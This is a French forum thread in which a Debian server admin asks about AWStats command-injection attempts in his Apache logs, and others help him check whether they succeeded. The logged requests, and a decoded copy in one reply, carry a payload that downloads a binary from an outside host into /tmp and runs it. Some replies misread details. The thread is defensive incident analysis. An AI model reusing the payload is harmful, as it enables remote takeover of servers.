Une attaque ?


#1

J’héberge un serveur web sur Debian Sarge (noyau 2.6.13.2) et j’ai repéré ceci dans /var/log/apache/access.log récemment :

63.76.208.71 - - [09/Nov/2005:14:24:42 +0100] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo|  HTTP/1.1" 404 294 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:44 +0100] "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo|  HTTP/1.1" 404 302 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:46 +0100] "POST /xmlrpc.php HTTP/1.1" 404 286 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:47 +0100] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo|  HTTP/1.1" 200 780 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:47 +0100] "POST /blog/xmlrpc.php HTTP/1.1" 404 291 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:48 +0100] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 298 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:49 +0100] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 299 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:51 +0100] "POST /drupal/xmlrpc.php HTTP/1.1" 404 293 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:52 +0100] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 299 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:53 +0100] "POST /wordpress/xmlrpc.php HTTP/1.1" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:54 +0100] "POST /xmlrpc.php HTTP/1.1" 404 286 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:55 +0100] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 404 293 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:56 +0100] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 293 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"

Hier, pendant le même type d’accès, j’ai vu apparaître ceci dans /var/log/snort/alert :

[**] [1:721:8] VIRUS OUTBOUND bad file attachment [**]
[Classification: A suspicious filename was detected] [Priority: 2]
11/08-19:48:26.756271 192.168.0.123:34245 -> 212.27.48.4:25
TCP TTL:64 TOS:0x0 ID:29222 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0x3B2BC401  Ack: 0x136FEC9A  Win: 0x5B4  TcpLen: 32
TCP Options (3) => NOP NOP TS: 176629 1064132463

Tout à l’air de fonctionner mais je me demande que doivent être les groupes et permissions pour les fichiers qui ont été inspectés (awstats.pl, le répertoire cgi-bin/ en général, etc) ?

Merci de votre aide :wink:


#2

Ca m’a bien l’air d’être une attaque, mais est ce qu’elle est passée ?
regardes surtout dans awstats.pl si la variable configdir te semble évaluée durant l’execution.
En effet, la première requète, réécrite en ascii, s’ecrit:
/awstats/awstats.pl?configdir=|echo;echo YYY;cd /tmp;wget 24.224.174.18/listen;chmod +x listen;./listen 216.102.212.115;echo YYY;echo|
donc si la variable configdir est evaluée dans le script, tu dois avoir un fichier listen executable qqpart dans /var/www, et un process ‘listen’ qui tourne, et je dirais à tout hasard qu’il crée un tunnel vers le 216.102.212.115.
Tu dois pouvoir regarder comment ‘listen’ travaille avec le réseau (et même savoir ou il se trouve) avec un petit netstat -a.
Bon, en relisant le log, je m’apercois que tout ca est théorique, car la reponse au deux premiers get, est un 404 (not found), ce qui veut dire que awstats n’est installé ni dans /var/www/awstats, ni dans /var/wwwcgi-bin/awstats, ce qui veut dire que l’attaque a tapé dans l’eau les deux premiers cas.
Re bon, en continuant à lire le log, je me reapercois que la troisiême attaque est passée, et que l’attaquant a trouvé finalement awstats.pl (resultat http 200) directement dans cgi-bin…
alors qu’est ce qu’il a fait aprés une fois que son exploit est passé, et à quoi correspondent les posts de la fin (?) ca je ne sais pas.


#3

Merci bcp pour ta réponse :wink:

Dans awstats.pl, j’ai de nombreuses occurences “configdir” mais qu’entends-tu par “évaluer” ? Que dois-je chercher ? (je suis assez novice) Penses-tu que l’attaquant ait pu écrire qqchose dans ce fichier qui n’est autorisé en écriture que pour root ? Quels permissions/propriétaire me conseilles-tu pour lui qui me permettrait qd même d’accèder à mes stats ?

je n’ai trouvé aucun fichier “listen” dans /var/www ni aucun autre inhabituel, je pense. Peut-être devrais-je te répondre en mp car c’est tjs délicat de donner des détails…

netstat -a ne fait apparaître aucun fichier “listen” non plus (il devrait être visible dans la dernière colonne de cette sortie, je ne me trompe pas ?)

En attendant, je vais interdire les accès en exécution/lecture à /var/www/ et …/cgi-bin/

Merci encore et désolé pour mon ignorance :blush:


#4

Dernière requète louche :

[Wed Nov  9 20:10:39 2005] [crit] [client 82.237.92.8] (13)Permission denied: /var/www/.htaccess pcfg_openfile:
 unable to check htaccess file, ensure it is readable

#5

Je suis peut être un peu plus cultivé informatiquement que toi, mais je te rassure, c’est la première fois que je m’interresse à ce type d’attaque. :wink:
Bon, là, je vais aller me coucher, mais tu peux installer et regarder comment marchent chkrootkit, et rkhunter: il font parfois des faux positifs, mais c’est dèjà une base de detection contre les “rootkits” (si c’en est un).
Aussi, ce que j’entend par évaluer, c’est que dans un langage interprèté comme perl (et d’autres), il y a souvent une ou plusieurs fonction, permettant d’executer une chaine de caractère en tant que bout de programme, comme si elle faisait partie du script, ou bien en l’envoyant à un shell qui l’execute.
Ici, comme ce que ton attaquant met dans son injection est du script shell, j’imagine que tu dois avoir une instruction ‘system($config)’ ou qqchose comme ca, qui lance un sous shell pour y executer le contenu de la variable $config .
mais désolé, je n’ai pas fait de perl depuis quelques temps, donc c’est de mêmoire que je cite system(), alors ca peut etre call(), ou shell(), il faudrait chercher dans la doc perl ( perldoc.perl.org/index-language.html ) l’instruction permettant de lancer un sous shell…


#6

Merci je vais essayer d’approfondir tout ça :wink:

J’ai collecté qq renseignement sur l’origine de l’attaque :

domaine qui s’identifie sous : hide71.cybergnostic.com

google renvoie vers ce site (commercial ?) qui a l’air de proposer des produits visant à sécuriser les réseaux (qu’ils ont eux-même cassé j’imagine…) : perimeterusa.com


#7

Finalement, je ne comprends pas pourquoi awstats.pl a pu être atteint alors que j’avais restreint son accès à certaines IP seulement : directive “AllowAccessFromWebToFollowingIPAddresses=…” dans /etc/awstats/awstats.conf

Bref…


#8

Il a peut etre utiliser une faille permettant l’accès à ton script perl par un autre script locale permettant ainsi de bypasser ta protection au niveau IP.

Si tu désire avoir des scripts cgi et que l’on puisse voir tes sites il faut garder la lecture pour le répertoire www et l’exécution pour le répertoire cgi-bin. Si ce n’est que pour toi en local tu restreint l’accès a 127.0.0.1 ou a ton réseau local


#9

Si je laisse la lecture et l’exécution pour le groupe www-data sur ces fichiers/répertoires, est-ce que tout le monde peut y accéder sur le serveur ?

Merci pour ton aide :slightly_smiling:


#10

oui, car les utilisateurs qui se connectent en anonyme (c à d n’utilisant pas une url du genre :@/ ) le visitent avec l’id du serveur http (en l’occurence www-data).


#11

Je remonte ce fil pour avoir un éclairage…

Tous les 2 jours, j’ai une attaque de ce type provenant d’un domaine/ip qui change à chaque fois. J’ai changé les droits d’accès sur les répertoires visés et les requêtes aboutissent vers des 404/403. Toutefois j’ai toujours des codes 200 pour certaines requêtes “POST” comme celle-ci :

dsl-200-67-248-198.prod-empresarial.com.mx - - [23/Nov/2005:23:12:26 +0100] \
 "POST /xmlsrv/xmlrpc.php HTTP/1.1" 200- "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"

Ce qui veut dire qu’un fichier ou des données me sont envoyées depuis une page /xmlsrv/xmlrpc.php du domaine dsl-200-67-248-198… ? C’est bien ça ?

Cette fois-ci le fichier à écrire dans /tmp devait être “lupii” (et non “listen”) mais je ne le trouve pas avec locate…

Une chose m’a vraiment intrigué : l’attaque a démarré a 23h07. J’ai coupé ma connexion (interface réseau down) et à 23h12 j’ai eu 2 accès sur mon serveur (dont celui-là) !
Je me suis dis qu’il y avait une “saloperie” qui tournait sur ma machine mais en cherchant le code d’erreur affiché (408) j’ai vu que j’avais mis la requête hors délai en coupant et que ça pouvait expliquer le retard dans les logs. Ceci dit le 408 s’affiche 20 s avant qd même :

200.67.248.198 - - [23/Nov/2005:23:12:06 +0100] "-" 408 - "-" "-" "-"

Pas d’alien sur ma bécane… Bonne nuit à tous ! :wink:


#12
63.76.208.71 - - [09/Nov/2005:14:24:42 +0100] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo|  

Ici tentative d’injection de code (echo YYY;"echo %20 = espace;cd ;wget 24.24.224.18/listen;chmod 755 +x listen;./listen 216.102.212.215; echo |)

HTTP/1.1" 404 294 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:44 +0100] "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo|  

La meme chose.

HTTP/1.1" 404 302 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:46 +0100] "POST /xmlrpc.php HTTP/1.1" 404 286 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:47 +0100] "GET 

Ici POST du ficher xmlrpc.php sur ton serveur.

/cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo|  HTTP/1.1" 200 780 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - -[09/Nov/2005:14:24:47 +0100] "POST /blog/xmlrpc.php HTTP/1.1" 404 291 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:48 +0100] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 298 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:49 +0100] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 299 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:51 +0100] "POST /drupal/xmlrpc.php HTTP/1.1" 404 293 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:52 +0100] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 299 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:53 +0100] "POST /wordpress/xmlrpc.php HTTP/1.1" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:54 +0100] "POST /xmlrpc.php HTTP/1.1" 404 286 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:55 +0100] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 404 293 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
63.76.208.71 - - [09/Nov/2005:14:24:56 +0100] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 293 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-" 

Ici, idem re-tentative d’injection sql et re POST du fichier xmlrpc.php dans d’autre repertoire (phpgroupware,drupal,wordpress,blog,xmlrpc,xmlserv)

[**] [1:721:8] VIRUS OUTBOUND bad file attachment [**]
[Classification: A suspicious filename was detected] [Priority: 2]
11/08-19:48:26.756271 192.168.0.123:34245 -> 212.27.48.4:25
TCP TTL:64 TOS:0x0 ID:29222 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0x3B2BC401  Ack: 0x136FEC9A  Win: 0x5B4  TcpLen: 32
TCP Options (3) => NOP NOP TS: 176629 1064132463 

Détection d’un virus de l’ip source 192.168.0.123 port 34245 a destination de l’ip 212.27.48.4 port 25 apperement enoit d’un mail de confirmation d’attaque réussit :slightly_smiling: ensuite, protocole TCP, TTL (time to live 64), TOS (type of service 0x0 nop autrement dit null byte).

Pour savoir exactement ce qu’il ce passent “lsof” sera ton sauveur, ansi que rkhunter, chrootkit comme le dit MattoTop…

lsof -i

Ca te listeras toutes les sockets ouvertes :slightly_smiling:
L’attaque est décrite ici :
frsirt.com/exploits/20050124.awexpl.c.php


#13

Merci pour ton analyse ! :wink:

J’avoue que j’ai du mal à décoder les ip source de l’attaque dans mes logs…

Si %20=espace et %2e=point pour wget%2024%2e224%2e174%2e18 je lis plutôt : 24.24.174.18 et pour 216%2e102%2e212%2e115 plutôt : 216.102.212.115 que 216.102.212.215. Mais j’ignore peut-être qqch.

De toute façon, c’est sans doute peine perdue de “blacklister” tous ces domaines :frowning:

Le dernier “POST” avec le code 200 m’intrigue tjs puisque je ne trouve trace d’aucun xmlrpc.php sur /var/www ~/public_html ou /tmp.

lsof -i n’affiche rien que je ne puisse identifier.

J’ai intallé chkrootkit ; il m’indique simplement que snort tourne sur ma machine.
A l’installation j’ai choisi de l’exécuter aussi dans /etc/cron.daily mais je ne trouve pas les logs que chkrootkit produit… ?

Je n’ai pas trouvé rkhunter en paquet .deb

Merci encore :wink:


#14

slt,

200.67.248.198 - - [23/Nov/2005:23:12:06 +0100] "-" 408 - "-" "-" "-" 

Code d’erreur http/408 indiquant un simple time-out, si avec “lsof” tu n’as rien trouvé c’est deja positive, sinon fait un “updatedb” suivie d’un “locate” des fichiers qui t’intrigue pour voir si l’attaque a réussit. Sinon tu peut aussi comparer la version d’awstat faillible (celle du lien que j’ai poster) avec ta version.

Puis pour décoder les caracteres, tu te munit d’une table ascii et tu fait la conversion :slightly_smiling:.


#15

Oui, j’avais fait updatedb, slocate listen, slocate luii mais rien à l’horizon…

Merci !


#16

En fait, non. Ce soir, j’ai compris par hasard ce que c’était. J’avais interdit le port et cette ip de destination (212.27.48.4) et je me suis rendu compte que je ne pouvais plus envoyer d’email aujourd’hui. En cherchant un peu j’ai vu que c’était probablement un DNS de Free.
De plus, à la date et l’heure de l’alerte j’ai transmis à ebay un mail frauduleux que j’avais reçu en leur nom. Donc c’est moi qui ai alerté snort. Il a trouvé que ma pièce jointe avait une vilaine tête ce qui n’est pas faux. On ne peut même pas parler de faux positif comme j’ai cru au début…

ps : le fait qu’il n’y ait aucun accès à mon serveur au moment de l’alerte aurait dû m’intriguer :wink: